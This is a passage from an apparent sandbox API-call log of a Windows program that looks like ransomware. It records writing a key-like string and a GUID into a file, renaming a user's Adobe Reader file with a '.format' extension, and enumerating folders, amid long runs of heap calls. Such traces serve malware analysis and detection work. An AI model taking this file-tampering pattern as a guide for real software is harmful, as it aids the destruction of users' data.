| out: hHeap=0x5d0000) returned 1 [0069.166] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0xa5ff, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.166] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cdf8 [0069.166] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x428) returned 0x3178120 [0069.166] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x3178120, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 41 [0069.166] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x430) returned 0x3289700 [0069.167] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178120 | out: hHeap=0x5d0000) returned 1 [0069.167] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cdf8 | out: hHeap=0x5d0000) returned 1 [0069.167] WriteFile (in: hFile=0x5c8, lpBuffer=0x3289700*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x3289700*, lpNumberOfBytesWritten=0x38cfb2c*=0x28, lpOverlapped=0x0) returned 1 [0069.167] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3289700 | out: hHeap=0x5d0000) returned 1 [0069.167] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0069.167] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0069.167] CloseHandle (hObject=0x5c8) returned 1 [0069.168] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3284030 [0069.168] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8b0) returned 0x3178dd8 [0069.168] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3284030 | out: hHeap=0x5d0000) returned 1 [0069.168] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\adobe\\acrobat\\10.0\\rdrmessage.zip"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\adobe\\acrobat\\10.0\\rdrmessage.zip.format")) returned 1 [0069.168] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0069.169] VirtualFree (lpAddress=0x2990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0069.169] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31021f8 | out: hHeap=0x5d0000) returned 1 [0069.169] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xce824760, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce824760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xe5ab8070, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ReaderMessages", cAlternateFileName="READER~1")) returned 1 [0069.170] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a3018 [0069.170] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd6) returned 0x31021f8 [0069.170] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a3018 | out: hHeap=0x5d0000) returned 1 [0069.170] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\ReaderMessages") returned="" [0069.170] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31021f8 | out: hHeap=0x5d0000) returned 1 [0069.170] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8287550, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe8287550, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe8287550, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Search", cAlternateFileName="")) returned 1 [0069.170] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31eddf8 [0069.170] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31ee728 [0069.170] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x1c) returned 0x325eb88 [0069.170] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31ee680 [0069.170] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31ee728 | out: hHeap=0x5d0000) returned 1 [0069.170] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31eddf8 | out: hHeap=0x5d0000) returned 1 [0069.170] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8287550, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe8287550, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe8287550, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Search", cAlternateFileName="")) returned 0 [0069.170] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0069.170] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31830e8 | out: hHeap=0x5d0000) returned 1 [0069.170] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a30b0 | out: hHeap=0x5d0000) returned 1 [0069.170] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0069.170] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31eddf8 [0069.170] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0069.170] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31ee728 [0069.170] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.170] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.170] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31ee728 | out: hHeap=0x5d0000) returned 1 [0069.170] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31ee728 [0069.170] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.170] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.170] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31ee728 | out: hHeap=0x5d0000) returned 1 [0069.170] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31ee728 [0069.171] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.171] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.171] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31ee728 | out: hHeap=0x5d0000) returned 1 [0069.171] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31ee728 [0069.171] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.171] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.171] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31ee728 | out: hHeap=0x5d0000) returned 1 [0069.171] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31ee728 [0069.171] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.171] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.171] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31ee728 | out: hHeap=0x5d0000) returned 1 [0069.171] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31ee728 [0069.171] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0069.171] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.171] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31ee728 | out: hHeap=0x5d0000) returned 1 [0069.171] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31ee728 [0069.171] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.171] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0069.171] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.171] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0069.171] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31ee728 | out: hHeap=0x5d0000) returned 1 [0069.171] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31ee728 [0069.171] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.171] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.171] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31ee728 | out: hHeap=0x5d0000) returned 1 [0069.171] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31ee728 [0069.171] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0069.171] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.171] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31ee728 | out: hHeap=0x5d0000) returned 1 [0069.171] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31ee728 [0069.171] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0069.171] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0069.172] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31ee728 | out: hHeap=0x5d0000) returned 1 [0069.172] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31ee728 [0069.172] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0069.172] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0069.172] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31ee728 | out: hHeap=0x5d0000) returned 1 [0069.172] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31ee728 [0069.172] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.172] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.172] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31ee728 | out: hHeap=0x5d0000) returned 1 [0069.172] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31ee728 [0069.172] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.172] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.172] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31ee728 | out: hHeap=0x5d0000) returned 1 [0069.172] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31ee728 [0069.172] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0069.172] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.172] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31ee728 | out: hHeap=0x5d0000) returned 1 [0069.172] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31ee728 [0069.172] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0069.172] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.172] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31ee728 | out: hHeap=0x5d0000) returned 1 [0069.172] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31ee728 [0069.172] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.172] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.172] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31ee728 | out: hHeap=0x5d0000) returned 1 [0069.172] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31ee728 [0069.172] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.172] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.172] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31ee728 | out: hHeap=0x5d0000) returned 1 [0069.172] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31ee728 [0069.172] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.172] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.173] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31ee728 | out: hHeap=0x5d0000) returned 1 [0069.173] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31ee728 [0069.173] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.173] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.173] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31ee728 | out: hHeap=0x5d0000) returned 1 [0069.173] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31ee728 [0069.173] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.173] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.173] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31ee728 | out: hHeap=0x5d0000) returned 1 [0069.173] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31ee728 [0069.173] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.173] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.173] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31ee728 | out: hHeap=0x5d0000) returned 1 [0069.173] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31ee728 [0069.173] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.173] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.173] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31ee728 | out: hHeap=0x5d0000) returned 1 [0069.173] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31ee728 [0069.173] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.173] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0069.173] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.173] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0069.173] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31ee728 | out: hHeap=0x5d0000) returned 1 [0069.173] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31ee728 [0069.173] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.173] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.173] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31ee728 | out: hHeap=0x5d0000) returned 1 [0069.173] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31ee728 [0069.173] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.173] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0069.173] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.173] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0069.174] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31ee728 | out: hHeap=0x5d0000) returned 1 [0069.174] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31ee728 [0069.174] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0069.174] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0069.174] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31ee728 | out: hHeap=0x5d0000) returned 1 [0069.174] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31ee728 [0069.174] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0069.174] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0069.174] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31ee728 | out: hHeap=0x5d0000) returned 1 [0069.174] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31ee728 [0069.174] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.174] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.174] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31ee728 | out: hHeap=0x5d0000) returned 1 [0069.174] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31ee728 [0069.174] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.174] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.174] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31ee728 | out: hHeap=0x5d0000) returned 1 [0069.174] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31ee728 [0069.174] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.174] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0069.174] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.174] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0069.174] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31ee728 | out: hHeap=0x5d0000) returned 1 [0069.174] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31ee728 [0069.174] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0069.174] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.174] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31ee728 | out: hHeap=0x5d0000) returned 1 [0069.174] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31ee728 [0069.174] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0069.174] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.174] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31ee728 | out: hHeap=0x5d0000) returned 1 [0069.174] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31ee728 [0069.175] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.175] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.175] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31ee728 | out: hHeap=0x5d0000) returned 1 [0069.175] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31ee728 [0069.175] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.175] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.175] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31ee728 | out: hHeap=0x5d0000) returned 1 [0069.175] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31ee728 [0069.175] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.175] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.175] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31ee728 | out: hHeap=0x5d0000) returned 1 [0069.175] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31ee728 [0069.175] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.175] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.175] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31ee728 | out: hHeap=0x5d0000) returned 1 [0069.175] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31ee728 [0069.175] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.175] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.175] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31ee728 | out: hHeap=0x5d0000) returned 1 [0069.175] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31ee728 [0069.175] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.175] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.175] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31ee728 | out: hHeap=0x5d0000) returned 1 [0069.175] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31ee728 [0069.175] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.175] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.175] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31ee728 | out: hHeap=0x5d0000) returned 1 [0069.175] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31ee728 [0069.175] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.175] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0069.175] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.175] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0069.176] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31ee728 | out: hHeap=0x5d0000) returned 1 [0069.176] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31ee728 [0069.176] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.176] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.176] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31ee728 | out: hHeap=0x5d0000) returned 1 [0069.176] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31ee728 [0069.176] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0069.176] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0069.176] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31ee728 | out: hHeap=0x5d0000) returned 1 [0069.176] RtlAllocateHeap (HeapHandle=0x5d0000, 